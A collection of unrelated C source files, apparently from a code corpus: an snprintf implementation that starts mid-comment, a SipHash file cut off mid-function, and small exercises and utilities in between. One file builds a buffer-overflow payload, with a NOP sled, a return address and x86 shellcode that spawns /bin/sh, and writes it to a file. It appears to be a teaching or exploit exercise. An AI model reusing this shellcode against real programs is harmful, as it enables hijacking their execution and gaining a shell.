is still ugly. I opted out of floating point * numbers, but the formatter understands just about everything * from the normal C string format, at least as far as I can tell from * the Solaris 2.5 printf(3S) man page. * * Brandon Long <[email protected]> 10/22/97 for mutt 0.87.1 * Ok, added some minimal floating point support, which means this * probably requires libm on most operating systems. Don't yet * support the exponent (e,E) and sigfig (g,G). Also, fmtint() * was pretty badly broken, it just wasn't being exercised in ways * which showed it, so that's been fixed. Also, formated the code * to mutt conventions, and removed dead code left over from the * original. Also, there is now a builtin-test, just compile with: * gcc -DTEST_SNPRINTF -o snprintf snprintf.c -lm * and run snprintf for results. * * Thomas Roessler <[email protected]> 01/27/98 for mutt 0.89i * The PGP code was using unsigned hexadecimal formats. * Unfortunately, unsigned formats simply didn't work. * * Michael Elkins <[email protected]> 03/05/98 for mutt 0.90.8 * The original code assumed that both snprintf() and vsnprintf() were * missing. Some systems only have snprintf() but not vsnprintf(), so * the code is now broken down under HAVE_SNPRINTF and HAVE_VSNPRINTF. * * Andrew Tridgell ([email protected]) Oct 1998 * fixed handling of %.0f * added test for HAVE_LONG_DOUBLE * * [email protected], [email protected], April 2001 * got rid of fcvt code (twas buggy and made testing harder) * added C99 semantics * **************************************************************/ typedef unsigned long slen_t; typedef signed long slendiff_t; #ifdef __AMD64__ #define LDOUBLE long double #define LLONG long long #else #define LDOUBLE double #define LLONG long #endif static size_t dopr(printch_t printer, char *buffer, size_t maxlen, const char* __restrict format, va_list args); static void fmtstr(printch_t printer, char *buffer, size_t *currlen, size_t maxlen, char *value, int flags, int min, int max); static void fmtint(printch_t printer, char *buffer, size_t *currlen, size_t maxlen, long value, int base, int min, int max, int flags); static void fmtfp(printch_t printer, char *buffer, size_t *currlen, size_t maxlen, LDOUBLE fvalue, int min, int max, int flags); static void dopr_outch(char *buffer, size_t *currlen, size_t maxlen, char c); /* * dopr(): poor man's version of doprintf */ /* format read states */ #define DP_S_DEFAULT 0 #define DP_S_FLAGS 1 #define DP_S_MIN 2 #define DP_S_DOT 3 #define DP_S_MAX 4 #define DP_S_MOD 5 #define DP_S_CONV 6 #define DP_S_DONE 7 /* format flags - Bits */ #define DP_F_MINUS (1 << 0) #define DP_F_PLUS (1 << 1) #define DP_F_SPACE (1 << 2) #define DP_F_NUM (1 << 3) #define DP_F_ZERO (1 << 4) #define DP_F_UP (1 << 5) #define DP_F_UNSIGNED (1 << 6) /* Conversion Flags */ #define DP_C_SHORT 1 #define DP_C_LONG 2 #define DP_C_LDOUBLE 3 #define DP_C_LLONG 4 #define char_to_int(p) ((p)- '0') #ifndef MAX #define MAX(p,q) (((p) >= (q)) ? (p) : (q)) #endif /**** pts ****/ #undef isdigit #define isdigit(c) ((unsigned char)((c)-'0')<=(unsigned char)('9'-'0')) static size_t dopr(printch_t printch, char *buffer, size_t maxlen, const char* __restrict format, va_list args) { char ch; LLONG value; LDOUBLE fvalue; char *strvalue; int min; int max; int state; int flags; int cflags; size_t currlen; state = DP_S_DEFAULT; currlen = flags = cflags = min = 0; max = -1; ch = *format++; while (state != DP_S_DONE) { if (ch == '\0') state = DP_S_DONE; switch(state) { case DP_S_DEFAULT: if (ch == '%') state = DP_S_FLAGS; else printch (buffer, &currlen, maxlen, ch); ch = *format++; break; case DP_S_FLAGS: switch (ch) { case '-': flags |= DP_F_MINUS; ch = *format++; break; case '+': flags |= DP_F_PLUS; ch = *format++; break; case ' ': flags |= DP_F_SPACE; ch = *format++; break; case '#': flags |= DP_F_NUM; ch = *format++; break; case '0': flags |= DP_F_ZERO; ch = *format++; break; default: state = DP_S_MIN; break; } break; case DP_S_MIN: if (isdigit((unsigned char)ch)) { min = 10*min + char_to_int (ch); ch = *format++; } else if (ch == '*') { min = va_arg (args, int); ch = *format++; state = DP_S_DOT; } else { state = DP_S_DOT; } break; case DP_S_DOT: if (ch == '.') { state = DP_S_MAX; ch = *format++; } else { state = DP_S_MOD; } break; case DP_S_MAX: if (isdigit((unsigned char)ch)) { if (max < 0) max = 0; max = 10*max + char_to_int (ch); ch = *format++; } else if (ch == '*') { max = va_arg (args, int); ch = *format++; state = DP_S_MOD; } else { state = DP_S_MOD; } break; case DP_S_MOD: switch (ch) { case 'h': cflags = DP_C_SHORT; ch = *format++; break; case 'l': cflags = DP_C_LONG; ch = *format++; if (ch == 'l') { /* It's a long long */ cflags = DP_C_LLONG; ch = *format++; } break; case 'L': cflags = DP_C_LDOUBLE; ch = *format++; break; default: break; } state = DP_S_CONV; break; case DP_S_CONV: switch (ch) { case 'd': case 'i': if (cflags == DP_C_SHORT) value = va_arg (args, int); else if (cflags == DP_C_LONG) value = va_arg (args, long int); else if (cflags == DP_C_LLONG) value = va_arg (args, LLONG); else value = va_arg (args, int); fmtint (printch, buffer, &currlen, maxlen, value, 10, min, max, flags); break; case 'o': flags |= DP_F_UNSIGNED; if (cflags == DP_C_SHORT) value = va_arg (args, unsigned int); else if (cflags == DP_C_LONG) value = (long)va_arg (args, unsigned long int); else if (cflags == DP_C_LLONG) value = (long)va_arg (args, unsigned LLONG); else value = (long)va_arg (args, unsigned int); fmtint (printch, buffer, &currlen, maxlen, value, 8, min, max, flags); break; case 'u': flags |= DP_F_UNSIGNED; if (cflags == DP_C_SHORT) value = va_arg (args, unsigned int); else if (cflags == DP_C_LONG) value = (long)va_arg (args, unsigned long int); else if (cflags == DP_C_LLONG) value = (LLONG)va_arg (args, unsigned LLONG); else value = (long)va_arg (args, unsigned int); fmtint (printch, buffer, &currlen, maxlen, value, 10, min, max, flags); break; case 'X': flags |= DP_F_UP; flags |= DP_F_UNSIGNED; if (cflags == DP_C_SHORT) value = va_arg (args, unsigned int); else if (cflags == DP_C_LONG) value = (long)va_arg (args, unsigned long int); else if (cflags == DP_C_LLONG) value = (LLONG)va_arg (args, unsigned LLONG); else value = (long)va_arg (args, unsigned int); fmtint (printch, buffer, &currlen, maxlen, value, 16, min, max, flags); break; case 'x': flags |= DP_F_UNSIGNED; if (cflags == DP_C_SHORT) value = va_arg (args, unsigned int); else if (cflags == DP_C_LONG) value = (long)va_arg (args, unsigned long int); else if (cflags == DP_C_LLONG) value = (LLONG)va_arg (args, unsigned LLONG); else value = (long)va_arg (args, unsigned int); fmtint (printch, buffer, &currlen, maxlen, value, 16, min, max, flags); break; case 'f': if (cflags == DP_C_LDOUBLE) fvalue = va_arg (args, LDOUBLE); else fvalue = va_arg (args, double); /* um, floating point? */ fmtfp (printch, buffer, &currlen, maxlen, fvalue, min, max, flags); break; case 'E': flags |= DP_F_UP; if (cflags == DP_C_LDOUBLE) fvalue = va_arg (args, LDOUBLE); else fvalue = va_arg (args, double); break; case 'e': if (cflags == DP_C_LDOUBLE) fvalue = va_arg (args, LDOUBLE); else fvalue = va_arg (args, double); break; case 'G': flags |= DP_F_UP; if (cflags == DP_C_LDOUBLE) fvalue = va_arg (args, LDOUBLE); else fvalue = va_arg (args, double); break; case 'g': if (cflags == DP_C_LDOUBLE) fvalue = va_arg (args, LDOUBLE); else fvalue = va_arg (args, double); break; case 'c': printch (buffer, &currlen, maxlen, (char)va_arg (args, int)); break; case 's': strvalue = va_arg (args, char *); if (max == -1) { /**** pts ****/ for (max = 0; strvalue[max]; ++max); /* strlen */ } if (min > 0 && max >= 0 && min > max) max = min; fmtstr (printch, buffer, &currlen, maxlen, strvalue, flags, min, max); break; case 'p': strvalue = (char*)(va_arg (args, void *)); fmtint (printch, buffer, &currlen, maxlen, (long) strvalue, 16, min, max, flags); break; case 'n': if (cflags == DP_C_SHORT) { short int *num; num = va_arg (args, short int *); *num = currlen; } else if (cflags == DP_C_LONG) { long int *num; num = va_arg (args, long int *); *num = (long int)currlen; } else if (cflags == DP_C_LLONG) { LLONG *num; num = va_arg (args, LLONG *); *num = (LLONG)currlen; } else { int *num; num = va_arg (args, int *); *num = currlen; } break; case '%': printch (buffer, &currlen, maxlen, ch); break; case 'w': /* not supported yet, treat as next char */ ch = *format++; break; default: /* Unknown, skip */ break; } ch = *format++; state = DP_S_DEFAULT; flags = cflags = min = 0; max = -1; break; case DP_S_DONE: break; default: /* hmm? */ break; /* some picky compilers need this */ } } if (maxlen != 0) { if (currlen < maxlen - 1) buffer[currlen] = '\0'; else if (maxlen > 0) buffer[maxlen - 1] = '\0'; } return currlen; } static void fmtstr(printch_t printch, char *buffer, size_t *currlen, size_t maxlen, char *value, int flags, int min, int max) { int padlen, strln; /* amount to pad */ int cnt = 0; if (value == NULL) { value = "<NULL>"; } for (strln = 0; value[strln]; ++strln); /* strlen */ padlen = min - strln; if (padlen < 0) padlen = 0; if (flags & DP_F_MINUS) padlen = -padlen; /* Left Justify */ while ((padlen > 0) && (cnt < max)) { printch (buffer, currlen, maxlen, ' '); --padlen; ++cnt; } while (*value && (cnt < max)) { printch (buffer, currlen, maxlen, *value++); ++cnt; } while ((padlen < 0) && (cnt < max)) { printch (buffer, currlen, maxlen, ' '); ++padlen; ++cnt; } } /* Have to handle DP_F_NUM (ie 0x and 0 alternates) */ static void fmtint(printch_t printch, char *buffer, size_t *currlen, size_t maxlen, long value, int base, int min, int max, int flags) { int signvalue = 0; unsigned long uvalue; char convert[20]; int place = 0; int spadlen = 0; /* amount to space pad */ int zpadlen = 0; /* amount to zero pad */ int caps = 0; if (max < 0) max = 0; uvalue = value; if(!(flags & DP_F_UNSIGNED)) { if( value < 0 ) { signvalue = '-'; uvalue = -value; } else { if (flags & DP_F_PLUS) /* Do a sign (+/i) */ signvalue = '+'; else if (flags & DP_F_SPACE) signvalue = ' '; } } if (flags & DP_F_UP) caps = 1; /* Should characters be upper case? */ do { convert[place++] = (caps? "0123456789ABCDEF":"0123456789abcdef") [uvalue % (unsigned)base ]; uvalue = (uvalue / (unsigned)base ); } while(uvalue && (place < 20)); if (place == 20) place--; convert[place] = 0; zpadlen = max - place; spadlen = min - MAX (max, place) - (signvalue ? 1 : 0); if (zpadlen < 0) zpadlen = 0; if (spadlen < 0) spadlen = 0; if (flags & DP_F_ZERO) { zpadlen = MAX(zpadlen, spadlen); spadlen = 0; } if (flags & DP_F_MINUS) spadlen = -spadlen; /* Left Justifty */ /* Spaces */ while (spadlen > 0) { printch (buffer, currlen, maxlen, ' '); --spadlen; } /* Sign */ if (signvalue) printch (buffer, currlen, maxlen, (char)signvalue); /* pacify VC6.0 */ /* Zeros */ if (zpadlen > 0) { while (zpadlen > 0) { printch (buffer, currlen, maxlen, '0'); --zpadlen; } } /* Digits */ while (place > 0) printch (buffer, currlen, maxlen, convert[--place]); /* Left Justified spaces */ while (spadlen < 0) { printch (buffer, currlen, maxlen, ' '); ++spadlen; } } static LDOUBLE abs_val(LDOUBLE value) { LDOUBLE result = value; if (value < 0) result = -value; return result; } static LDOUBLE POW10(int exp) { LDOUBLE result = 1; while (exp) { result *= 10; exp--; } return result; } static LLONG ROUND(LDOUBLE value) { LLONG intpart; intpart = (LLONG)value; value = value - intpart; if (value >= 0.5) intpart++; return intpart; } /* a replacement for modf that doesn't need the math library. Should be portable, but slow */ static double my_modf(double x0, double *iptr) { int i; long l=0; double x = x0; double f = 1.0; for (i=0;i<100;i++) { l = (long)x; if (l <= (x+1) && l >= (x-1)) break; x *= 0.1; f *= 10.0; } if (i == 100) { /* yikes! the number is beyond what we can handle. What do we do? */ (*iptr) = 0; return 0; } if (i != 0) { double i2; double ret; ret = my_modf(x0-l*f, &i2); (*iptr) = l*f + i2; return ret; } (*iptr) = l; return x - (*iptr); } static void fmtfp (printch_t printch, char *buffer, size_t *currlen, size_t maxlen, LDOUBLE fvalue, int min, int max, int flags) { int signvalue = 0; double ufvalue; char iconvert[311]; char fconvert[311]; int iplace = 0; int fplace = 0; int padlen = 0; /* amount to pad */ int zpadlen = 0; int caps = 0; int index; double intpart; double fracpart; double temp; /* * AIX manpage says the default is 0, but Solaris says the default * is 6, and sprintf on AIX defaults to 6 */ if (max < 0) max = 6; ufvalue = abs_val (fvalue); if (fvalue < 0) { signvalue = '-'; } else { if (flags & DP_F_PLUS) { /* Do a sign (+/i) */ signvalue = '+'; } else { if (flags & DP_F_SPACE) signvalue = ' '; } } #if 0 if (flags & DP_F_UP) caps = 1; /* Should characters be upper case? */ #endif #if 0 if (max == 0) ufvalue += 0.5; /* if max = 0 we must round */ #endif /* * Sorry, we only support 16 digits past the decimal because of our * conversion method */ if (max > 16) max = 16; /* We "cheat" by converting the fractional part to integer by * multiplying by a factor of 10 */ temp = ufvalue; my_modf(temp, &intpart); fracpart = ROUND((POW10(max)) * (ufvalue - intpart)); if (fracpart >= POW10(max)) { intpart++; fracpart -= POW10(max); } /* Convert integer part */ do { temp = intpart; my_modf(intpart*0.1, &intpart); temp = temp*0.1; index = (int) ((temp -intpart +0.05)* 10.0); /* index = (int) (((double)(temp*0.1) -intpart +0.05) *10.0); */ /* printf ("%llf, %f, %x\n", temp, intpart, index); */ iconvert[iplace++] = (caps? "0123456789ABCDEF":"0123456789abcdef")[index]; } while (intpart && (iplace < 311)); if (iplace == 311) iplace--; iconvert[iplace] = 0; /* Convert fractional part */ if (fracpart) { do { temp = fracpart; my_modf(fracpart*0.1, &fracpart); temp = temp*0.1; index = (int) ((temp -fracpart +0.05)* 10.0); /* index = (int) ((((temp/10) -fracpart) +0.05) *10); */ /* printf ("%lf, %lf, %ld\n", temp, fracpart, index); */ fconvert[fplace++] = (caps? "0123456789ABCDEF":"0123456789abcdef")[index]; } while(fracpart && (fplace < 311)); if (fplace == 311) fplace--; } fconvert[fplace] = 0; /* -1 for decimal point, another -1 if we are printing a sign */ padlen = min - iplace - max - 1 - ((signvalue) ? 1 : 0); zpadlen = max - fplace; if (zpadlen < 0) zpadlen = 0; if (padlen < 0) padlen = 0; if (flags & DP_F_MINUS) padlen = -padlen; /* Left Justifty */ if ((flags & DP_F_ZERO) && (padlen > 0)) { if (signvalue) { printch (buffer, currlen, maxlen, (char)signvalue); --padlen; signvalue = 0; } while (padlen > 0) { printch (buffer, currlen, maxlen, '0'); --padlen; } } while (padlen > 0) { printch (buffer, currlen, maxlen, ' '); --padlen; } if (signvalue) printch (buffer, currlen, maxlen, (char)signvalue); while (iplace > 0) printch (buffer, currlen, maxlen, iconvert[--iplace]); /* * Decimal point. This should probably use locale to find the correct * char to print out. */ if (max > 0) { printch (buffer, currlen, maxlen, '.'); while (fplace > 0) printch (buffer, currlen, maxlen, fconvert[--fplace]); } while (zpadlen > 0) { printch (buffer, currlen, maxlen, '0'); --zpadlen; } while (padlen < 0) { printch (buffer, currlen, maxlen, ' '); ++padlen; } } static void dopr_outch(char *buffer, size_t *currlen, size_t maxlen, char c) { if (*currlen < maxlen) { buffer[(*currlen)] = c; } (*currlen)++; } // static void dopr_putch(char* buffer, size_t* currlen, size_t maxlen, char c) { // (void)buffer; // if (*currlen < maxlen) { // putchar(c); // } // (*currlen)++; // } //static char dummy_data[] = { 6, 6, 6}; int vprintf(const char* __restrict fmt, va_list args) { //return dopr(dopr_putch, dummy_data, 1<<30, fmt, args); char buffer[256]; int x = dopr(dopr_outch, buffer, 256, fmt, args); puts(buffer); return x; } int printf(const char* __restrict fmt, ...) { va_list args; int ret; va_start(args, fmt); ret = vprintf(fmt, args); va_end(args); return ret; } int vsnprintf (char *str, size_t count, const char* __restrict fmt, va_list args) { return dopr(dopr_outch, str, count, fmt, args); } int snprintf(char *str, size_t count, const char* __restrict fmt,...) { size_t ret; va_list ap; va_start(ap, fmt); ret = vsnprintf(str, count, fmt, ap); va_end(ap); return ret; } int vasprintf(char **ptr, const char* __restrict format, va_list ap) { size_t ret; ret = vsnprintf((char*)NULL, 0, format, ap); if (ret+1 <= 1) return ret; /* pts: bit of old unsigned trick... */ if (NULLP==(*ptr = (char *)malloc(ret+1))) return (int)-1; ret = vsnprintf(*ptr, ret+1, format, ap); return ret; } int asprintf(char **ptr, const char* __restrict format, ...) { va_list ap; int ret; va_start(ap, format); ret = vasprintf(ptr, format, ap); va_end(ap); return ret; } int sprintf(char *ptr, const char* __restrict format, ...) { va_list ap; int ret; va_start(ap, format); ret = vsnprintf(ptr, (slen_t)-1, format, ap); va_end(ap); return ret; }
the_stack_data/79975.c
/* gcc -std=c17 -lc -lm -pthread -o ../_build/c/string_wide_towctrans.exe ./c/string_wide_towctrans.c && (cd ../_build/c/;./string_wide_towctrans.exe) https://en.cppreference.com/w/c/string/wide/towctrans */ #include <locale.h> #include <wctype.h> #include <wchar.h> #include <stdio.h> int main(void) { setlocale(LC_ALL, "ja_JP.UTF-8"); wchar_t kana[] = L"ヒラガナ"; size_t sz = sizeof kana / sizeof *kana; wchar_t hira[sz]; for(size_t n = 0; n < sz; ++n) hira[n] = towctrans(kana[n], wctrans("tojhira")); printf("katakana characters %ls are %ls in hiragana\n", kana, hira); }
the_stack_data/1167557.c
#include <stdio.h> typedef enum { true = 1, false = 0 } bool; struct ListNode { int val; struct ListNode *next; }; struct ListNode *detectCycle(struct ListNode *head) { if (head == NULL || head->next == NULL) { return NULL; } struct ListNode *slow = head; struct ListNode *fast = head; bool hasCycle = false; while(fast != NULL && fast->next != NULL){ slow = slow->next; fast = fast->next->next; if (slow == fast) { hasCycle = true; break; } } if (hasCycle == false) { return NULL; } slow = head; while (slow != fast) { slow = slow->next; fast = fast->next; } return slow; } int main(int argc, char *argv[]) { return 0; }
the_stack_data/140765673.c
#include <stdio.h> #include <string.h> #define FILENAME "shellcode" #define BUF_SIZE 64 + 16 // 16 bytes to skip other locals and SEH handlers char shellcode[] = { // http://sparksandflames.com/files/x86InstructionChart.html enjoy "\x80\xf6\xff\xbf" // return address "\xeb\x1f" // jmp 0x1f "\x5e" // pop esi "\x89\x76\x08" // mov [esi + 0x8], esi "\x31\xc0" // xor eax, eax "\x88\x46\x07" // mov byte ptr [esi+0x7], eax "\x89\x46\x0c" // mov [esi + 0xc], eax "\xb0\x0b" // mov al, 0xb "\x89\xf3" // mov ebx, esi "\x8d\x4e\x08" // lea ecx, dword ptr [esi + 0x8] "\x8d\x56\x0c" // lea edx, dword ptr [esi + 0xc] "\xcd\x80" // int 80 "\x31\xdb" // xor ebx, ebx "\x89\xd8" // mov eax, ebx "\x40" // inc eax "\xcd\x80" // int 80 "\xe8\xdc\xff\xff\xff" // call -0x24 "/bin/sh" }; char filler = '\x90'; int main() { FILE *fp = fopen(FILENAME, "w"); char buf[BUF_SIZE]; printf("sh-sz=%d fill-sz=%d\n", sizeof(shellcode), BUF_SIZE - sizeof(shellcode)); if(fp) { memset(buf, filler, BUF_SIZE); fwrite(buf, BUF_SIZE, 1, fp); fwrite(shellcode, sizeof(shellcode) - 1, 1, fp); fclose(fp); } else { printf("could not open file\n"); } return 0; }
the_stack_data/36471.c
/* SIMD loops without and with the simd schedule modifier The simd schedule modifier in func_2() guarantees that a preferred implementation-defined vector length is respected when distributing the loop. */ void func_1(float *a, float *b, int n) { #pragma omp for simd schedule(static, 5) for (int k=0; k<n; k++) { // do some work on a and b } } void func_2(float *a, float *b, int n) { #pragma omp for simd schedule(simd:static, 5) for (int k=0; k<n; k++) { // do some work on a and b } }
the_stack_data/119686.c
#include <stdio.h> int max_of_four(int a, int b, int c, int d) { int res = a; if (b > res) res = b; if (c > res) res = c; if (d > res) res = d; return res; } int main() { int a, b, c, d; scanf("%d %d %d %d", &a, &b, &c, &d); int ans = max_of_four(a, b, c, d); printf("%d", ans); return 0; }
the_stack_data/11337.c
/* * Copyright (c) 2012, 2014 Jonas 'Sortie' Termansen. * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * * stdio/vsscanf.c * Input format conversion. */ #include <assert.h> #include <stdio.h> struct vsscanf_input { union { const char* str; const unsigned char* ustr; }; size_t offset; }; static int vsscanf_fgetc(void* fp) { struct vsscanf_input* input = (struct vsscanf_input*)fp; if (!input->ustr[input->offset]) return EOF; return (int)input->ustr[input->offset++]; } static int vsscanf_ungetc(int c, void* fp) { struct vsscanf_input* input = (struct vsscanf_input*)fp; if (c == EOF && !input->ustr[input->offset]) return c; assert(input->offset); input->offset--; assert(input->ustr[input->offset] == (unsigned char)c); return c; } int vsscanf(const char* str, const char* format, va_list ap) { struct vsscanf_input input; input.str = str; input.offset = 0; return vcbscanf(&input, vsscanf_fgetc, vsscanf_ungetc, format, ap); }
the_stack_data/242331050.c
/* ヘッダファイルのインクルード */ #include <stdio.h> /* 標準入出力 */ /* 関数のプロトタイプ宣言 */ void print_line(const char *str); /* 関数print_lineの宣言. */ /* main関数の定義 */ int main(void){ /* print_lineで改行付き出力. */ print_line("ABCDE"); /* print_lineで"ABCDE"と出力し, 改行もする. */ /* プログラムの終了 */ return 0; /* 0を返して正常終了. */ } /* 関数print_lineの定義 */ void print_line(const char *str){ /* strを改行付きで標準出力する関数print_line. */ /* 改行付きで出力. */ printf("%s\n", str); /* printfでstrに改行を付けて出力. */ }
the_stack_data/4267.c
#include <stdio.h> int main(){ printf("Hello World!\n"); return 0; }
the_stack_data/72013333.c
int add(int a, int b){ return a + b; } int main(){ int x, y; x = add(1, 2); y = add(3, 4); return 0; }
the_stack_data/155559.c
// tinydixy, small hierarchical config file format (subset of YAML, spec in https://github.com/kuyawa/Dixy) // - rlyeh, public domain // api, returns number of pairs found int tinydixy( const char *buffer, int (*yield)(const char *key, const char *val) ); // implementation #include <stdio.h> #include <stdlib.h> int tinydixy( const char *s, int (*yield)(const char *key, const char *val) ) { char *map = 0; int mapcap = 0, maplen = 0, num_pairs_found = 0; enum { DEL, REM, KEY, SUB, VAL } fsm = DEL; const char *cut[5] = {0}, *end[5] = {0}; while( *s ) { while( *s && (*s == '\r' || *s == '\n') ) ++s; /**/ if( *s == '#' ) cut[fsm = REM] = ++s; else if( *s == ' ' || *s == '\t' ) cut[fsm = SUB] = ++s; else if( *s == ':' ) cut[fsm = VAL] = ++s; else if( *s > ' ' && *s <= 'z' ) cut[fsm = KEY] = cut[SUB] = end[SUB] = s, free(map), map = 0, mapcap = 0, maplen = 0; else { ++s; continue; } /**/ if( fsm == REM ) { while(*s && *s != '\r'&& *s != '\n') ++s; } else if( fsm == KEY ) { while(*s && *s > ' ' && *s <= 'z' && *s != ':') ++s; end[fsm] = s; } else if( fsm == SUB ) { while(*s && *s > ' ' && *s <= 'z' && *s != ':') ++s; end[fsm] = s; } else if( fsm == VAL ) { while(*s && *s >= ' ' && *s <= 'z' && *s != '\r' && *s != '\n') ++s; end[fsm] = s; while( end[fsm][-1] == ' ' ) --end[fsm]; char buf[256] = {0}, *key = buf, *val = ""; if( end[KEY] - cut[KEY] ) key += sprintf(key, "%.*s", end[KEY] - cut[KEY], cut[KEY] ); if( end[SUB] - cut[SUB] ) key += sprintf(key, ".%.*s", end[SUB] - cut[SUB], cut[SUB] ); int reqlen = (key - buf) + 1 + (end[VAL] - cut[VAL]) + 1 + 1; if( (reqlen + maplen) >= mapcap ) map = realloc( map, mapcap += reqlen + 512 ); sprintf( map + maplen, "%.*s%c%.*s%c%c", key - buf, buf, 0, end[VAL] - cut[VAL], cut[VAL], 0, 0 ); val = map + maplen + (key - buf) + 2, key = map + maplen; if( val[0] ) { yield( key, val ); num_pairs_found++; } maplen += reqlen - 1; } } free( map ); return num_pairs_found; } #ifdef TINYDIXY_DEMO // sample int puts2( const char *key, const char *val ) { printf("%s:'%s'\n", key, val); return 0; } int main() { const char *sample = "# Dixy 1.0\n" "\n" "name: Taylor Swift\n" "age: 27\n" "phones:\n" " 0: 555-SWIFT\n" " 1: 900-SWIFT\n" " 2: 800-TAYLOR\n" "body:\n" " height: 6 ft\n" " weight: 120 lbs\n" "pets:\n" " 0:\n" " name: Fido\n" " breed: chihuahua\n" " 1:\n" " name: Tinkerbell\n" " breed: bulldog\n"; printf("%d keys found\n", tinydixy( sample, puts2 )); } #endif
the_stack_data/34922.c
/* SipHash reference C implementation Copyright (c) 2012-2016 Jean-Philippe Aumasson <[email protected]> Copyright (c) 2012-2014 Daniel J. Bernstein <[email protected]> Copyright (c) 2017 Salvatore Sanfilippo <[email protected]> To the extent possible under law, the author(s) have dedicated all copyright and related and neighboring rights to this software to the public domain worldwide. This software is distributed without any warranty. You should have received a copy of the CC0 Public Domain Dedication along with this software. If not, see <http://creativecommons.org/publicdomain/zero/1.0/>. ---------------------------------------------------------------------------- This version was modified by Salvatore Sanfilippo <[email protected]> in the following ways: 1. We use SipHash 1-2. This is not believed to be as strong as the suggested 2-4 variant, but AFAIK there are not trivial attacks against this reduced-rounds version, and it runs at the same speed as Murmurhash2 that we used previously, why the 2-4 variant slowed down Redis by a 4% figure more or less. 2. Hard-code rounds in the hope the compiler can optimize it more in this raw from. Anyway we always want the standard 2-4 variant. 3. Modify the prototype and implementation so that the function directly returns an uint64_t value, the hash itself, instead of receiving an output buffer. This also means that the output size is set to 8 bytes and the 16 bytes output code handling was removed. 4. Provide a case insensitive variant to be used when hashing strings that must be considered identical by the hash table regardless of the case. If we don't have directly a case insensitive hash function, we need to perform a text transformation in some temporary buffer, which is costly. 5. Remove debugging code. 6. Modified the original test.c file to be a stand-alone function testing the function in the new form (returing an uint64_t) using just the relevant test vector. */ #include <assert.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <ctype.h> /* Fast tolower() alike function that does not care about locale * but just returns a-z insetad of A-Z. */ static int siptlw(int c) { if (c >= 'A' && c <= 'Z') { return c+('a'-'A'); } else { return c; } } /* Test of the CPU is Little Endian and supports not aligned accesses. * Two interesting conditions to speedup the function that happen to be * in most of x86 servers. */ #if defined(__X86_64__) || defined(__x86_64__) || defined (__i386__) \ || defined (__aarch64__) || defined (__arm64__) #define UNALIGNED_LE_CPU #endif #define ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b)))) #define U32TO8_LE(p, v) \ (p)[0] = (uint8_t)((v)); \ (p)[1] = (uint8_t)((v) >> 8); \ (p)[2] = (uint8_t)((v) >> 16); \ (p)[3] = (uint8_t)((v) >> 24); #define U64TO8_LE(p, v) \ U32TO8_LE((p), (uint32_t)((v))); \ U32TO8_LE((p) + 4, (uint32_t)((v) >> 32)); #ifdef UNALIGNED_LE_CPU #define U8TO64_LE(p) (*((uint64_t*)(p))) #else #define U8TO64_LE(p) \ (((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | \ ((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \ ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \ ((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56)) #endif #define U8TO64_LE_NOCASE(p) \ (((uint64_t)(siptlw((p)[0]))) | \ ((uint64_t)(siptlw((p)[1])) << 8) | \ ((uint64_t)(siptlw((p)[2])) << 16) | \ ((uint64_t)(siptlw((p)[3])) << 24) | \ ((uint64_t)(siptlw((p)[4])) << 32) | \ ((uint64_t)(siptlw((p)[5])) << 40) | \ ((uint64_t)(siptlw((p)[6])) << 48) | \ ((uint64_t)(siptlw((p)[7])) << 56)) #define SIPROUND \ do { \ v0 += v1; \ v1 = ROTL(v1, 13); \ v1 ^= v0; \ v0 = ROTL(v0, 32); \ v2 += v3; \ v3 = ROTL(v3, 16); \ v3 ^= v2; \ v0 += v3; \ v3 = ROTL(v3, 21); \ v3 ^= v0; \ v2 += v1; \ v1 = ROTL(v1, 17); \ v1 ^= v2; \ v2 = ROTL(v2, 32); \ } while (0) static uint64_t siphash(const uint8_t *in, const size_t inlen, const uint8_t *k) { #ifndef UNALIGNED_LE_CPU uint64_t hash; uint8_t *out = (uint8_t*) &hash; #endif uint64_t v0 = 0x736f6d6570736575ULL; uint64_t v1 = 0x646f72616e646f6dULL; uint64_t v2 = 0x6c7967656e657261ULL; uint64_t v3 = 0x7465646279746573ULL; uint64_t k0 = U8TO64_LE(k); uint64_t k1 = U8TO64_LE(k + 8); uint64_t m; const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t)); const int left = inlen & 7; uint64_t b = ((uint64_t)inlen) << 56; v3 ^= k1; v2 ^= k0; v1 ^= k1; v0 ^= k0; for (; in != end; in += 8) { m = U8TO64_LE(in); v3 ^= m; SIPROUND; v0 ^= m; } switch (left) { case 7: b |= ((uint64_t)in[6]) << 48; /* fall-thru */ case 6: b |= ((uint64_t)in[5]) << 40; /* fall-thru */ case 5: b |= ((uint64_t)in[4]) << 32; /* fall-thru */ case 4: b |= ((uint64_t)in[3]) << 24; /* fall-thru */ case 3: b |= ((uint64_t)in[2]) << 16; /* fall-thru */ case 2: b |= ((uint64_t)in[1]) << 8; /* fall-thru */ case 1: b |= ((uint64_t)in[0]); break; case 0: break; } v3 ^= b; SIPROUND; v0 ^= b; v2 ^= 0xff; SIPROUND; SIPROUND; b = v0 ^ v1 ^ v2 ^ v3; #ifndef UNALIGNED_LE_CPU U64TO8_LE(out, b); return hash; #else return b; #endif } static uint64_t siphash_nocase(const uint8_t *in, const size_t inlen, const uint8_t *k) { #ifndef UNALIGNED_LE_CPU uint64_t hash; uint8_t *out = (uint8_t*) &hash; #endif uint64_t v0 = 0x736f6d6570736575ULL; uint64_t v1 = 0x646f72616e646f6dULL; uint64_t v2 = 0x6c7967656e657261ULL; uint64_t v3 = 